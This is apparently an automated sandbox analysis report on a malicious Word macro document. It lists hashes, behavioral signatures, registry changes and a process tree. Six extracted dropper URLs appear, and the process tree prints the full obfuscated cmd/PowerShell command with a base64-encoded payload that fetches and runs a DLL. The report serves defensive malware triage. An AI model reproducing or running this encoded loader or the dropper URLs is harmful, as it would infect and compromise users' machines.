e7d0a07e178afb890dff585981fd22a443c9928e92d3f7515a34d48d3fc0fb4a

General

Target

E3-20210113_0923.doc
Size

91KB
MD5

68ce5c793dfdd2bd9cf196591a172a14
SHA1

f8dc64b784b851b7c52413208e17991449ee7a0a
SHA256

e7d0a07e178afb890dff585981fd22a443c9928e92d3f7515a34d48d3fc0fb4a
SHA512

0a088b0e77f342fce653680b247a176bd37cf945161bda6fcbd30aed0fb2fffe4f33e8ab2f92d47aa0d7c8bd0e96fd758174f41fd9c12bf92c6887ec53a5c242

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://tmsvinhphuc.com/wp-content/SpeechEngines/

exe.dropper

http://huzurdugunsalonu.com/wp-content/Speech/

exe.dropper

http://personal.unicorp.site/lang/System_32/

exe.dropper

http://christinewalker.org/wp-admin/Xt9SNHtExU/

exe.dropper

http://www.3d.unicorp.site/js/GzVpMLaH/

exe.dropper

http://3d.unicorp.site/js/A1ew/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 328 1792 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 1672 powershell.exe
8 1612 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

516 rundll32.exe
516 rundll32.exe
516 rundll32.exe
516 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	328	1792	cmd.exe

flow	pid	process
6	1672	powershell.exe
8	1612	rundll32.exe

pid	process
516	rundll32.exe
516	rundll32.exe
516	rundll32.exe
516	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Qrcwbbmc\tcjxcgg.pvc	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1740 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

1672 powershell.exe
1672 powershell.exe
1612 rundll32.exe
1612 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1672 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1740 WINWORD.EXE
1740 WINWORD.EXE

pid	process
1740	WINWORD.EXE

pid	process
1672	powershell.exe
1672	powershell.exe
1612	rundll32.exe
1612	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1672	powershell.exe

pid	process
1740	WINWORD.EXE
1740	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 328 wrote to memory of 1668	328	cmd.exe	msg.exe
PID 328 wrote to memory of 1668	328	cmd.exe	msg.exe
PID 328 wrote to memory of 1668	328	cmd.exe	msg.exe
PID 328 wrote to memory of 1672	328	cmd.exe	powershell.exe
PID 328 wrote to memory of 1672	328	cmd.exe	powershell.exe
PID 328 wrote to memory of 1672	328	cmd.exe	powershell.exe
PID 1672 wrote to memory of 1068	1672	powershell.exe	rundll32.exe
PID 1672 wrote to memory of 1068	1672	powershell.exe	rundll32.exe
PID 1672 wrote to memory of 1068	1672	powershell.exe	rundll32.exe
PID 1068 wrote to memory of 516	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 516	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 516	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 516	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 516	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 516	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 516	1068	rundll32.exe	rundll32.exe
PID 516 wrote to memory of 1612	516	rundll32.exe	rundll32.exe
PID 516 wrote to memory of 1612	516	rundll32.exe	rundll32.exe
PID 516 wrote to memory of 1612	516	rundll32.exe	rundll32.exe
PID 516 wrote to memory of 1612	516	rundll32.exe	rundll32.exe
PID 516 wrote to memory of 1612	516	rundll32.exe	rundll32.exe
PID 516 wrote to memory of 1612	516	rundll32.exe	rundll32.exe
PID 516 wrote to memory of 1612	516	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3-20210113_0923.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1740

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAZQBUAC0ASQBUAGUATQAgACAAKAAnAFYAYQBSACcAKwAnAEkAYQBCACcAKwAnAEwAZQA6AEsANwBZACcAKwAnAHgAJwArACcAQgAnACkAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewAxAH0AIgAgAC0ARgAgACcASQBPAC4AZAAnACwAJwBZACcALAAnAHMAWQBzAHQAZQBtAC4AJwAsACcAaQBSAGUAQwBUAG8AUgAnACkAIAAgACkAOwAkAFAAWQBmAFYATABJACAAIAA9ACAAIABbAFQAeQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAzAH0AewAyAH0AewA1AH0AewA2AH0AewAxAH0AIgAtAEYAIAAnAFMAWQBzAFQAZQAnACwAJwBHAEUAUgAnACwAJwBlAFQALgBzAGUAcgAnACwAJwAuAG4AJwAsACcATQAnACwAJwB2AEkAYwBlAFAAJwAsACcAbwBJAG4AVABNAGEATgBhACcAKQA7ACAAJABJAHoAZQB5AGMANgB4AD0AJABRADIAMgBTACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABPADIANwBVADsAJABKADIAMABHAD0AKAAoACcARAA3ACcAKwAnADAAJwApACsAJwBUACcAKQA7ACAAJABrADcAeQB4AGIAOgA6ACIAQwBgAFIAYABFAGEAVABlAGAARABpAFIARQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnADcAJwArACgAJwA0ACcAKwAnADEAVABpAGkAJwApACsAKAAnAHAAeAA2AGwANwAnACsAJwA0ADEAJwArACcASwBtACcAKQArACgAJwBnADcAJwArACcAdQBlAGcAJwApACsAKAAnADcAJwArACcANAAxACcAKQApACAALQBSAEUAcABMAEEAQwBFACAAKAAnADcANAAnACsAJwAxACcAKQAsAFsAYwBoAEEAUgBdADkAMgApACkAOwAkAFgAXwA4AFkAPQAoACgAJwBVACcAKwAnADYAOAAnACkAKwAnAEgAJwApADsAIAAoACAAIABHAGUAdAAtAGkAVABFAG0AIAAoACcAVgBhAHIAaQBhACcAKwAnAGIAbABFADoAcAB5ACcAKwAnAGYAVgBMACcAKwAnAEkAJwApACAAKQAuAHYAQQBsAHUAZQA6ADoAIgBzAEUAQwBVAFIAaQBgAFQAYABZAHAAUgBvAHQAbwBgAGMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABPADMANgBXAD0AKAAoACcAWQA5ACcAKwAnADAAJwApACsAJwBQACcAKQA7ACQAVgA0ADYAOABfAHEAcgAgAD0AIAAoACcAQwAnACsAKAAnADcANwAnACsAJwBFACcAKQApADsAJABFADMAMgBWAD0AKAAnAEcAJwArACgAJwA5ACcAKwAnADQASgAnACkAKQA7ACQAWgBqADUAcwBjAGUAbgA9ACQASABPAE0ARQArACgAKAAoACcAdwA2AFUAVAAnACsAJwBpACcAKwAnAGkAcAB4ADYAbAB3ADYAJwApACsAKAAnAFUAJwArACcASwBtAGcAJwApACsAKAAnADcAdQAnACsAJwBlAGcAdwA2ACcAKQArACcAVQAnACkALgAiAHIAZQBgAHAATABgAEEAQwBlACIAKAAoACcAdwA2ACcAKwAnAFUAJwApACwAWwBzAFQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFYANAA2ADgAXwBxAHIAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABTADYAMgBHAD0AKAAnAEEAJwArACgAJwA2ADQAJwArACcARQAnACkAKQA7ACQASwBfAHEAMAB0AGoAcgA9ACgAKAAnAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACgAJwB0AG0AcwB2ACcAKwAnAGkAbgBoAHAAJwApACsAKAAnAGgAdQBjAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwAvAFMAJwApACsAJwBwAGUAJwArACcAZQAnACsAKAAnAGMAaABFAG4AJwArACcAZwBpAG4AJwApACsAKAAnAGUAcwAnACsAJwAvAEAAQQBdAFsAJwArACcAcQAnACsAJwBbACcAKQArACgAJwBEADoALwAvAGgAdQB6ACcAKwAnAHUAJwApACsAKAAnAHIAZAAnACsAJwB1ACcAKQArACgAJwBnACcAKwAnAHUAbgAnACkAKwAoACcAcwAnACsAJwBhAGwAJwApACsAJwBvACcAKwAoACcAbgAnACsAJwB1AC4AYwBvAG0ALwAnACkAKwAnAHcAcAAnACsAKAAnAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAvAFMAcAAnACkAKwAnAGUAZQAnACsAKAAnAGMAJwArACcAaAAvAEAAJwArACcAQQBdACcAKQArACgAJwBbAHEAJwArACcAWwBEACcAKQArACgAJwA6ACcAKwAnAC8ALwBwAGUAcgAnACkAKwAoACcAcwBvACcAKwAnAG4AJwArACcAYQBsAC4AdQBuAGkAYwAnACsAJwBvAHIAcAAuAHMAaQB0ACcAKwAnAGUALwAnACkAKwAoACcAbABhACcAKwAnAG4AZwAvACcAKwAnAFMAeQBzAHQAZQAnACkAKwAoACcAbQBfACcAKwAnADMAMgAvACcAKQArACcAQABBACcAKwAnAF0AWwAnACsAKAAnAHEAJwArACcAWwBEACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBjAGgAcgAnACkAKwAoACcAaQAnACsAJwBzAHQAaQBuAGUAdwAnACsAJwBhAGwAJwApACsAJwBrAGUAJwArACgAJwByACcAKwAnAC4AbwByACcAKQArACgAJwBnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AWAAnACsAJwB0ADkAJwApACsAJwBTACcAKwAoACcATgAnACsAJwBIAHQARQAnACkAKwAoACcAeAAnACsAJwBVAC8AQABBACcAKQArACgAJwBdAFsAcQBbACcAKwAnAEQAOgAvACcAKwAnAC8AdwB3ACcAKQArACcAdwAuACcAKwAoACcAMwAnACsAJwBkAC4AJwArACcAdQBuAGkAYwBvACcAKwAnAHIAcAAnACsAJwAuAHMAaQB0AGUALwAnACsAJwBqAHMAJwArACcALwBHAHoAVgBwAE0AJwApACsAKAAnAEwAYQBIAC8AJwArACcAQAAnACkAKwAnAEEAJwArACcAXQBbACcAKwAoACcAcQBbAEQAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnADMAZAAnACsAJwAuAHUAbgAnACkAKwAnAGkAJwArACgAJwBjACcAKwAnAG8AcgAnACkAKwAnAHAAJwArACgAJwAuAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAC8AagBzAC8AJwArACcAQQAxACcAKwAnAGUAdwAnACkAKwAnAC8AJwApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACcAQQBdACcAKwAnAFsAJwApACsAJwBxACcAKwAnAFsARAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkAHMAJwArACcAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgAnACkAKwAnAHcAZQAnACkAKQAsACgAKAAnAGEAZQAnACsAJwBmACcAKQArACcAZgAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGwAYABJAHQAIgAoACQARQA4AF8ARgAgACsAIAAkAEkAegBlAHkAYwA2AHgAIAArACAAJABLADgAMwBQACkAOwAkAEgANAA2AEwAPQAoACcAUAA1ACcAKwAnADAARwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEIAawB1AHoANQBfADkAIABpAG4AIAAkAEsAXwBxADAAdABqAHIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAHQAZQBtAC4ATgBFAFQALgBXAGUAQgBjAEwASQBlAG4AVAApAC4AIgBEAG8AYAB3AE4ATABgAG8AYABBAGQAZgBpAEwARQAiACgAJABCAGsAdQB6ADUAXwA5ACwAIAAkAFoAagA1AHMAYwBlAG4AKQA7ACQAVQAwADIATgA9ACgAJwBMADcAJwArACcAOABBACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABaAGoANQBzAGMAZQBuACkALgAiAGwAZQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAyADcAOQA4ACkAIAB7AC4AKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACkAIAAkAFoAagA1AHMAYwBlAG4ALAAoACcAUwAnACsAKAAnAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAGAAUgBpAE4ARwAiACgAKQA7ACQASQA1ADQASQA9ACgAKAAnAEcAMAAnACsAJwAzACcAKQArACcAUQAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQA3AEMAPQAoACgAJwBBADgAJwArACcAXwAnACkAKwAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSADEAMABDAD0AKAAnAE0ANQAnACsAJwAwAEQAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:328

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAFMAZQBUAC0ASQBUAGUATQAgACAAKAAnAFYAYQBSACcAKwAnAEkAYQBCACcAKwAnAEwAZQA6AEsANwBZACcAKwAnAHgAJwArACcAQgAnACkAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewAxAH0AIgAgAC0ARgAgACcASQBPAC4AZAAnACwAJwBZACcALAAnAHMAWQBzAHQAZQBtAC4AJwAsACcAaQBSAGUAQwBUAG8AUgAnACkAIAAgACkAOwAkAFAAWQBmAFYATABJACAAIAA9ACAAIABbAFQAeQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAzAH0AewAyAH0AewA1AH0AewA2AH0AewAxAH0AIgAtAEYAIAAnAFMAWQBzAFQAZQAnACwAJwBHAEUAUgAnACwAJwBlAFQALgBzAGUAcgAnACwAJwAuAG4AJwAsACcATQAnACwAJwB2AEkAYwBlAFAAJwAsACcAbwBJAG4AVABNAGEATgBhACcAKQA7ACAAJABJAHoAZQB5AGMANgB4AD0AJABRADIAMgBTACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABPADIANwBVADsAJABKADIAMABHAD0AKAAoACcARAA3ACcAKwAnADAAJwApACsAJwBUACcAKQA7ACAAJABrADcAeQB4AGIAOgA6ACIAQwBgAFIAYABFAGEAVABlAGAARABpAFIARQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnADcAJwArACgAJwA0ACcAKwAnADEAVABpAGkAJwApACsAKAAnAHAAeAA2AGwANwAnACsAJwA0ADEAJwArACcASwBtACcAKQArACgAJwBnADcAJwArACcAdQBlAGcAJwApACsAKAAnADcAJwArACcANAAxACcAKQApACAALQBSAEUAcABMAEEAQwBFACAAKAAnADcANAAnACsAJwAxACcAKQAsAFsAYwBoAEEAUgBdADkAMgApACkAOwAkAFgAXwA4AFkAPQAoACgAJwBVACcAKwAnADYAOAAnACkAKwAnAEgAJwApADsAIAAoACAAIABHAGUAdAAtAGkAVABFAG0AIAAoACcAVgBhAHIAaQBhACcAKwAnAGIAbABFADoAcAB5ACcAKwAnAGYAVgBMACcAKwAnAEkAJwApACAAKQAuAHYAQQBsAHUAZQA6ADoAIgBzAEUAQwBVAFIAaQBgAFQAYABZAHAAUgBvAHQAbwBgAGMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABPADMANgBXAD0AKAAoACcAWQA5ACcAKwAnADAAJwApACsAJwBQACcAKQA7ACQAVgA0ADYAOABfAHEAcgAgAD0AIAAoACcAQwAnACsAKAAnADcANwAnACsAJwBFACcAKQApADsAJABFADMAMgBWAD0AKAAnAEcAJwArACgAJwA5ACcAKwAnADQASgAnACkAKQA7ACQAWgBqADUAcwBjAGUAbgA9ACQASABPAE0ARQArACgAKAAoACcAdwA2AFUAVAAnACsAJwBpACcAKwAnAGkAcAB4ADYAbAB3ADYAJwApACsAKAAnAFUAJwArACcASwBtAGcAJwApACsAKAAnADcAdQAnACsAJwBlAGcAdwA2ACcAKQArACcAVQAnACkALgAiAHIAZQBgAHAATABgAEEAQwBlACIAKAAoACcAdwA2ACcAKwAnAFUAJwApACwAWwBzAFQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFYANAA2ADgAXwBxAHIAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABTADYAMgBHAD0AKAAnAEEAJwArACgAJwA2ADQAJwArACcARQAnACkAKQA7ACQASwBfAHEAMAB0AGoAcgA9ACgAKAAnAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACgAJwB0AG0AcwB2ACcAKwAnAGkAbgBoAHAAJwApACsAKAAnAGgAdQBjAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwAvAFMAJwApACsAJwBwAGUAJwArACcAZQAnACsAKAAnAGMAaABFAG4AJwArACcAZwBpAG4AJwApACsAKAAnAGUAcwAnACsAJwAvAEAAQQBdAFsAJwArACcAcQAnACsAJwBbACcAKQArACgAJwBEADoALwAvAGgAdQB6ACcAKwAnAHUAJwApACsAKAAnAHIAZAAnACsAJwB1ACcAKQArACgAJwBnACcAKwAnAHUAbgAnACkAKwAoACcAcwAnACsAJwBhAGwAJwApACsAJwBvACcAKwAoACcAbgAnACsAJwB1AC4AYwBvAG0ALwAnACkAKwAnAHcAcAAnACsAKAAnAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAvAFMAcAAnACkAKwAnAGUAZQAnACsAKAAnAGMAJwArACcAaAAvAEAAJwArACcAQQBdACcAKQArACgAJwBbAHEAJwArACcAWwBEACcAKQArACgAJwA6ACcAKwAnAC8ALwBwAGUAcgAnACkAKwAoACcAcwBvACcAKwAnAG4AJwArACcAYQBsAC4AdQBuAGkAYwAnACsAJwBvAHIAcAAuAHMAaQB0ACcAKwAnAGUALwAnACkAKwAoACcAbABhACcAKwAnAG4AZwAvACcAKwAnAFMAeQBzAHQAZQAnACkAKwAoACcAbQBfACcAKwAnADMAMgAvACcAKQArACcAQABBACcAKwAnAF0AWwAnACsAKAAnAHEAJwArACcAWwBEACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBjAGgAcgAnACkAKwAoACcAaQAnACsAJwBzAHQAaQBuAGUAdwAnACsAJwBhAGwAJwApACsAJwBrAGUAJwArACgAJwByACcAKwAnAC4AbwByACcAKQArACgAJwBnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AWAAnACsAJwB0ADkAJwApACsAJwBTACcAKwAoACcATgAnACsAJwBIAHQARQAnACkAKwAoACcAeAAnACsAJwBVAC8AQABBACcAKQArACgAJwBdAFsAcQBbACcAKwAnAEQAOgAvACcAKwAnAC8AdwB3ACcAKQArACcAdwAuACcAKwAoACcAMwAnACsAJwBkAC4AJwArACcAdQBuAGkAYwBvACcAKwAnAHIAcAAnACsAJwAuAHMAaQB0AGUALwAnACsAJwBqAHMAJwArACcALwBHAHoAVgBwAE0AJwApACsAKAAnAEwAYQBIAC8AJwArACcAQAAnACkAKwAnAEEAJwArACcAXQBbACcAKwAoACcAcQBbAEQAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnADMAZAAnACsAJwAuAHUAbgAnACkAKwAnAGkAJwArACgAJwBjACcAKwAnAG8AcgAnACkAKwAnAHAAJwArACgAJwAuAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAC8AagBzAC8AJwArACcAQQAxACcAKwAnAGUAdwAnACkAKwAnAC8AJwApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACcAQQBdACcAKwAnAFsAJwApACsAJwBxACcAKwAnAFsARAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkAHMAJwArACcAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgAnACkAKwAnAHcAZQAnACkAKQAsACgAKAAnAGEAZQAnACsAJwBmACcAKQArACcAZgAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGwAYABJAHQAIgAoACQARQA4AF8ARgAgACsAIAAkAEkAegBlAHkAYwA2AHgAIAArACAAJABLADgAMwBQACkAOwAkAEgANAA2AEwAPQAoACcAUAA1ACcAKwAnADAARwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEIAawB1AHoANQBfADkAIABpAG4AIAAkAEsAXwBxADAAdABqAHIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAHQAZQBtAC4ATgBFAFQALgBXAGUAQgBjAEwASQBlAG4AVAApAC4AIgBEAG8AYAB3AE4ATABgAG8AYABBAGQAZgBpAEwARQAiACgAJABCAGsAdQB6ADUAXwA5ACwAIAAkAFoAagA1AHMAYwBlAG4AKQA7ACQAVQAwADIATgA9ACgAJwBMADcAJwArACcAOABBACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABaAGoANQBzAGMAZQBuACkALgAiAGwAZQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAyADcAOQA4ACkAIAB7AC4AKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACkAIAAkAFoAagA1AHMAYwBlAG4ALAAoACcAUwAnACsAKAAnAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAGAAUgBpAE4ARwAiACgAKQA7ACQASQA1ADQASQA9ACgAKAAnAEcAMAAnACsAJwAzACcAKQArACcAUQAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQA3AEMAPQAoACgAJwBBADgAJwArACcAXwAnACkAKwAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSADEAMABDAD0AKAAnAE0ANQAnACsAJwAwAEQAJwApAA==
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:516

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qrcwbbmc\tcjxcgg.pvc",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1612

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
6226d85813ba587416c7c498eb5bb495

SHA1
014a2fadd317abe7c981386dbed1e4aff1c7edac

SHA256
c7c6ebd263ddd8acbbeb35b244f0efe9f20766db1a5e4151417ac305829838c6

SHA512
f2c7915d2fbe2dca0fde9666693cb2638e390d9bc9144e52ad5afa9d862d7672825321e7abc2d42c637686a4cac64f74d3b065aead332d1ae1ee72b13d782581

Download Submit
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
6226d85813ba587416c7c498eb5bb495

SHA1
014a2fadd317abe7c981386dbed1e4aff1c7edac

SHA256
c7c6ebd263ddd8acbbeb35b244f0efe9f20766db1a5e4151417ac305829838c6

SHA512
f2c7915d2fbe2dca0fde9666693cb2638e390d9bc9144e52ad5afa9d862d7672825321e7abc2d42c637686a4cac64f74d3b065aead332d1ae1ee72b13d782581

Download Submit
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
6226d85813ba587416c7c498eb5bb495

SHA1
014a2fadd317abe7c981386dbed1e4aff1c7edac

SHA256
c7c6ebd263ddd8acbbeb35b244f0efe9f20766db1a5e4151417ac305829838c6

SHA512
f2c7915d2fbe2dca0fde9666693cb2638e390d9bc9144e52ad5afa9d862d7672825321e7abc2d42c637686a4cac64f74d3b065aead332d1ae1ee72b13d782581

Download Submit
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
6226d85813ba587416c7c498eb5bb495

SHA1
014a2fadd317abe7c981386dbed1e4aff1c7edac

SHA256
c7c6ebd263ddd8acbbeb35b244f0efe9f20766db1a5e4151417ac305829838c6

SHA512
f2c7915d2fbe2dca0fde9666693cb2638e390d9bc9144e52ad5afa9d862d7672825321e7abc2d42c637686a4cac64f74d3b065aead332d1ae1ee72b13d782581

Download Submit
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
6226d85813ba587416c7c498eb5bb495

SHA1
014a2fadd317abe7c981386dbed1e4aff1c7edac

SHA256
c7c6ebd263ddd8acbbeb35b244f0efe9f20766db1a5e4151417ac305829838c6

SHA512
f2c7915d2fbe2dca0fde9666693cb2638e390d9bc9144e52ad5afa9d862d7672825321e7abc2d42c637686a4cac64f74d3b065aead332d1ae1ee72b13d782581

Download Submit
memory/432-19-0x000007FEF63D0000-0x000007FEF664A000-memory.dmp

Filesize
2.5MB

Download
memory/516-13-0x0000000000000000-mapping.dmp

Download
memory/1068-11-0x0000000000000000-mapping.dmp

Download
memory/1612-18-0x0000000000000000-mapping.dmp

Download
